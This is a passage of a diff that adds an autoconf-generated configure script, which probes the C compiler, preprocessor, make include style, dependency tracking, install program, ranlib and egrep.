+rm -f conftest.o conftest.obj
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; then
+ for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do
+ case $ac_file in
+ *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;;
+ *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'`
+ break;;
+ esac
+done
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute suffix of object files: cannot compile
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+rm -f conftest.$ac_cv_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_objext" >&5
+echo "${ECHO_T}$ac_cv_objext" >&6
+OBJEXT=$ac_cv_objext
+ac_objext=$OBJEXT
+echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5
+echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6
+if test "${ac_cv_c_compiler_gnu+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+#ifndef __GNUC__
+ choke me
+#endif
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_compiler_gnu=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_compiler_gnu=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+ac_cv_c_compiler_gnu=$ac_compiler_gnu
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5
+echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6
+GCC=`test $ac_compiler_gnu = yes && echo yes`
+ac_test_CFLAGS=${CFLAGS+set}
+ac_save_CFLAGS=$CFLAGS
+CFLAGS="-g"
+echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5
+echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6
+if test "${ac_cv_prog_cc_g+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_prog_cc_g=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_prog_cc_g=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5
+echo "${ECHO_T}$ac_cv_prog_cc_g" >&6
+if test "$ac_test_CFLAGS" = set; then
+ CFLAGS=$ac_save_CFLAGS
+elif test $ac_cv_prog_cc_g = yes; then
+ if test "$GCC" = yes; then
+ CFLAGS="-g -O2"
+ else
+ CFLAGS="-g"
+ fi
+else
+ if test "$GCC" = yes; then
+ CFLAGS="-O2"
+ else
+ CFLAGS=
+ fi
+fi
+echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5
+echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6
+if test "${ac_cv_prog_cc_stdc+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_prog_cc_stdc=no
+ac_save_CC=$CC
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdarg.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */
+struct buf { int x; };
+FILE * (*rcsopen) (struct buf *, struct stat *, int);
+static char *e (p, i)
+ char **p;
+ int i;
+{
+ return p[i];
+}
+static char *f (char * (*g) (char **, int), char **p, ...)
+{
+ char *s;
+ va_list v;
+ va_start (v,p);
+ s = g (p, va_arg (v,int));
+ va_end (v);
+ return s;
+}
+int test (int i, double x);
+struct s1 {int (*f) (int a);};
+struct s2 {int (*f) (double a);};
+int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);
+int argc;
+char **argv;
+int
+main ()
+{
+return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1];
+ ;
+ return 0;
+}
+_ACEOF
+# Don't try gcc -ansi; that turns off useful extensions and
+# breaks some systems' header files.
+# AIX -qlanglvl=ansi
+# Ultrix and OSF/1 -std1
+# HP-UX 10.20 and later -Ae
+# HP-UX older versions -Aa -D_HPUX_SOURCE
+# SVR4 -Xc -D__EXTENSIONS__
+for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__"
+do
+ CC="$ac_save_CC $ac_arg"
+ rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_prog_cc_stdc=$ac_arg
+break
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.$ac_objext
+done
+rm -f conftest.$ac_ext conftest.$ac_objext
+CC=$ac_save_CC
+
+fi
+
+case "x$ac_cv_prog_cc_stdc" in
+ x|xno)
+ echo "$as_me:$LINENO: result: none needed" >&5
+echo "${ECHO_T}none needed" >&6 ;;
+ *)
+ echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5
+echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6
+ CC="$CC $ac_cv_prog_cc_stdc" ;;
+esac
+
+# Some people use a C++ compiler to compile C. Since we use `exit',
+# in C++ we need to declare it. In case someone uses the same compiler
+# for both compiling C and C++ we need to have the C++ compiler decide
+# the declaration of exit, since it's the most demanding environment.
+cat >conftest.$ac_ext <<_ACEOF
+@%:@ifndef __cplusplus
+ choke me
+@%:@endif
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ for ac_declaration in \
+ ''\
+ '#include <stdlib.h>' \
+ 'extern "C" void std::exit (int) throw (); using std::exit;' \
+ 'extern "C" void std::exit (int); using std::exit;' \
+ 'extern "C" void exit (int) throw ();' \
+ 'extern "C" void exit (int);' \
+ 'void exit (int);'
+do
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <stdlib.h>
+$ac_declaration
+int
+main ()
+{
+exit (42);
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ :
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+continue
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_declaration
+int
+main ()
+{
+exit (42);
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ break
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+done
+rm -f conftest*
+if test -n "$ac_declaration"; then
+ echo '#ifdef __cplusplus' >>confdefs.h
+ echo $ac_declaration >>confdefs.h
+ echo '#endif' >>confdefs.h
+fi
+
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+rm -f .deps 2>/dev/null
+mkdir .deps 2>/dev/null
+if test -d .deps; then
+ DEPDIR=.deps
+else
+ # MS-DOS does not allow filenames that begin with a dot.
+ DEPDIR=_deps
+fi
+rmdir .deps 2>/dev/null
+
+
+ ac_config_commands="$ac_config_commands depfiles"
+
+
+am_make=${MAKE-make}
+cat > confinc << 'END'
+doit:
+ @echo done
+END
+# If we don't find an include directive, just comment out the code.
+echo "$as_me:$LINENO: checking for style of include used by $am_make" >&5
+echo $ECHO_N "checking for style of include used by $am_make... $ECHO_C" >&6
+am__include="#"
+am__quote=
+_am_result=none
+# First try GNU make style include.
+echo "include confinc" > confmf
+# We grep out `Entering directory' and `Leaving directory'
+# messages which can occur if `w' ends up in MAKEFLAGS.
+# In particular we don't look at `^make:' because GNU make might
+# be invoked under some other name (usually "gmake"), in which
+# case it prints its new name instead of `make'.
+if test "`$am_make -s -f confmf 2> /dev/null | fgrep -v 'ing directory'`" = "done"; then
+ am__include=include
+ am__quote=
+ _am_result=GNU
+fi
+# Now try BSD make style include.
+if test "$am__include" = "#"; then
+ echo '.include "confinc"' > confmf
+ if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then
+ am__include=.include
+ am__quote="\""
+ _am_result=BSD
+ fi
+fi
+
+
+echo "$as_me:$LINENO: result: $_am_result" >&5
+echo "${ECHO_T}$_am_result" >&6
+rm -f confinc confmf
+
+# Check whether --enable-dependency-tracking or --disable-dependency-tracking was given.
+if test "${enable_dependency_tracking+set}" = set; then
+ enableval="$enable_dependency_tracking"
+
+fi;
+if test "x$enable_dependency_tracking" != xno; then
+ am_depcomp="$ac_aux_dir/depcomp"
+ AMDEPBACKSLASH='\'
+fi
+
+
+if test "x$enable_dependency_tracking" != xno; then
+ AMDEP_TRUE=
+ AMDEP_FALSE='#'
+else
+ AMDEP_TRUE='#'
+ AMDEP_FALSE=
+fi
+
+
+
+
+depcc="$CC" am_compiler_list=
+
+echo "$as_me:$LINENO: checking dependency style of $depcc" >&5
+echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6
+if test "${am_cv_CC_dependencies_compiler_type+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+ # We make a subdir and do the tests there. Otherwise we can end up
+ # making bogus files that we don't know about and never remove. For
+ # instance it was reported that on HP-UX the gcc test will end up
+ # making a dummy file named `D' -- because `-MD' means `put the output
+ # in D'.
+ mkdir conftest.dir
+ # Copy depcomp to subdir because otherwise we won't find it if we're
+ # using a relative directory.
+ cp "$am_depcomp" conftest.dir
+ cd conftest.dir
+
+ am_cv_CC_dependencies_compiler_type=none
+ if test "$am_compiler_list" = ""; then
+ am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp`
+ fi
+ for depmode in $am_compiler_list; do
+ # We need to recreate these files for each test, as the compiler may
+ # overwrite some of them when testing with obscure command lines.
+ # This happens at least with the AIX C compiler.
+ echo '#include "conftest.h"' > conftest.c
+ echo 'int i;' > conftest.h
+ echo "${am__include} ${am__quote}conftest.Po${am__quote}" > confmf
+
+ case $depmode in
+ nosideeffect)
+ # after this tag, mechanisms are not by side-effect, so they'll
+ # only be used when explicitly requested
+ if test "x$enable_dependency_tracking" = xyes; then
+ continue
+ else
+ break
+ fi
+ ;;
+ none) break ;;
+ esac
+ # We check with `-c' and `-o' for the sake of the "dashmstdout"
+ # mode. It turns out that the SunPro C++ compiler does not properly
+ # handle `-M -o', and we need to detect this.
+ if depmode=$depmode \
+ source=conftest.c object=conftest.o \
+ depfile=conftest.Po tmpdepfile=conftest.TPo \
+ $SHELL ./depcomp $depcc -c conftest.c -o conftest.o >/dev/null 2>&1 &&
+ grep conftest.h conftest.Po > /dev/null 2>&1 &&
+ ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+ am_cv_CC_dependencies_compiler_type=$depmode
+ break
+ fi
+ done
+
+ cd ..
+ rm -rf conftest.dir
+else
+ am_cv_CC_dependencies_compiler_type=none
+fi
+
+fi
+echo "$as_me:$LINENO: result: $am_cv_CC_dependencies_compiler_type" >&5
+echo "${ECHO_T}$am_cv_CC_dependencies_compiler_type" >&6
+CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type
+
+
+# Find a good install program. We prefer a C program (faster),
+# so one script is as good as another. But avoid the broken or
+# incompatible versions:
+# SysV /etc/install, /usr/sbin/install
+# SunOS /usr/etc/install
+# IRIX /sbin/install
+# AIX /bin/install
+# AmigaOS /C/install, which installs bootblocks on floppy discs
+# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag
+# AFS /usr/afsws/bin/install, which mishandles nonexistent args
+# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
+# ./install, which can be erroneously created by make from ./install.sh.
+echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5
+echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6
+if test -z "$INSTALL"; then
+if test "${ac_cv_path_install+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ # Account for people who put trailing slashes in PATH elements.
+case $as_dir/ in
+ ./ | .// | /cC/* | \
+ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \
+ /usr/ucb/* ) ;;
+ *)
+ # OSF1 and SCO ODT 3.0 have their own names for install.
+ # Don't use installbsd from OSF since it installs stuff as root
+ # by default.
+ for ac_prog in ginstall scoinst install; do
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+ if test $ac_prog = install &&
+ grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # AIX install. It has an incompatible calling convention.
+ :
+ elif test $ac_prog = install &&
+ grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # program-specific install script used by HP pwplus--don't use.
+ :
+ else
+ ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c"
+ break 3
+ fi
+ fi
+ done
+ done
+ ;;
+esac
+done
+
+
+fi
+ if test "${ac_cv_path_install+set}" = set; then
+ INSTALL=$ac_cv_path_install
+ else
+ # As a last resort, use the slow shell script. We don't cache a
+ # path for INSTALL within a source directory, because that will
+ # break other packages using the cache if that directory is
+ # removed, or if the path is relative.
+ INSTALL=$ac_install_sh
+ fi
+fi
+echo "$as_me:$LINENO: result: $INSTALL" >&5
+echo "${ECHO_T}$INSTALL" >&6
+
+# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
+# It thinks the first close brace ends the variable substitution.
+test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
+
+test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}'
+
+test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
+
+if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
+set dummy ${ac_tool_prefix}ranlib; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_RANLIB+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$RANLIB"; then
+ ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+RANLIB=$ac_cv_prog_RANLIB
+if test -n "$RANLIB"; then
+ echo "$as_me:$LINENO: result: $RANLIB" >&5
+echo "${ECHO_T}$RANLIB" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_RANLIB"; then
+ ac_ct_RANLIB=$RANLIB
+ # Extract the first word of "ranlib", so it can be a program name with args.
+set dummy ranlib; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_RANLIB"; then
+ ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_RANLIB="ranlib"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+ test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=":"
+fi
+fi
+ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
+if test -n "$ac_ct_RANLIB"; then
+ echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5
+echo "${ECHO_T}$ac_ct_RANLIB" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ RANLIB=$ac_ct_RANLIB
+else
+ RANLIB="$ac_cv_prog_RANLIB"
+fi
+
+
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5
+echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6
+# On Suns, sometimes $CPP names a directory.
+if test -n "$CPP" && test -d "$CPP"; then
+ CPP=
+fi
+if test -z "$CPP"; then
+ if test "${ac_cv_prog_CPP+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ # Double quotes because CPP needs to be expanded
+ for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp"
+ do
+ ac_preproc_ok=false
+for ac_c_preproc_warn_flag in '' yes
+do
+ # Use a header file that comes with gcc, so configuring glibc
+ # with a fresh cross-compiler works.
+ # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+ # <limits.h> exists even on freestanding compilers.
+ # On the NeXT, cc -E runs the code through the compiler's parser,
+ # not just through cpp. "Syntax error" is here to catch this case.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@ifdef __STDC__
+@%:@ include <limits.h>
+@%:@else
+@%:@ include <assert.h>
+@%:@endif
+ Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ :
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+ # OK, works on sane cases. Now check whether non-existent headers
+ # can be detected and how.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ # Broken: success on invalid input.
+continue
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+ break
+fi
+
+ done
+ ac_cv_prog_CPP=$CPP
+
+fi
+ CPP=$ac_cv_prog_CPP
+else
+ ac_cv_prog_CPP=$CPP
+fi
+echo "$as_me:$LINENO: result: $CPP" >&5
+echo "${ECHO_T}$CPP" >&6
+ac_preproc_ok=false
+for ac_c_preproc_warn_flag in '' yes
+do
+ # Use a header file that comes with gcc, so configuring glibc
+ # with a fresh cross-compiler works.
+ # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+ # <limits.h> exists even on freestanding compilers.
+ # On the NeXT, cc -E runs the code through the compiler's parser,
+ # not just through cpp. "Syntax error" is here to catch this case.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@ifdef __STDC__
+@%:@ include <limits.h>
+@%:@else
+@%:@ include <assert.h>
+@%:@endif
+ Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ :
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+ # OK, works on sane cases. Now check whether non-existent headers
+ # can be detected and how.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+@%:@include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ # Broken: success on invalid input.
+continue
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+ :
+else
+ { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check
+See \`config.log' for more details." >&5
+echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+echo "$as_me:$LINENO: checking for egrep" >&5
+echo $ECHO_N "checking for egrep... $ECHO_C" >&6
+if test "${ac_cv_prog_egrep+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if echo a | (grep -E '(a|b)') >/dev/null 2>&1
+ then ac_cv_prog_egrep='grep -E'
+ else ac_cv_prog_egrep='egrep'
+ fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5
+echo "${ECHO_T}$ac_cv_prog_egrep" >&6
+ EGREP=$ac_cv_prog_egrep
+
+
+echo "$as_me:$LINENO: checking for ANSI C header files" >&5
+echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6
+if test "${ac_cv_header_stdc+set}" = set; then
